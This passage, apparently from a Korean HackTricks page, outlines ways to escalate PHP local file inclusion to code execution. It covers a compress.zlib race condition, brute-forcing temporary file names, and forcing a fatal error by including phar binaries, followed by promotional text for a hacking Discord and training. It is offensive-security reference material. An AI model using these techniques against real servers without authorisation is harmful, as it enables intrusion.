Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

로컬 파일 포함을 발견하고 임시 파일의 경로를 유출할 수 있지만 서버포함할 파일에 PHP 마크가 있는지 확인하고 있다면, 이 경쟁 조건을 사용하여 그 검사를 우회해 볼 수 있습니다:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via eternal waiting + bruteforce

LFI를 악용하여 임시 파일을 업로드하고 서버가 PHP 실행을 중단하게 만들 수 있다면, 몇 시간 동안 파일 이름을 무작위로 대입하여 임시 파일을 찾을 수 있습니다:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

To Fatal Error

/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar 중 하나의 파일을 포함하면 됩니다. (그 오류를 발생시키려면 같은 파일을 2번 포함해야 합니다).

이것이 어떻게 유용한지는 모르겠지만, 유용할 수 있습니다.
비록 PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다.

References

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

지금 Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}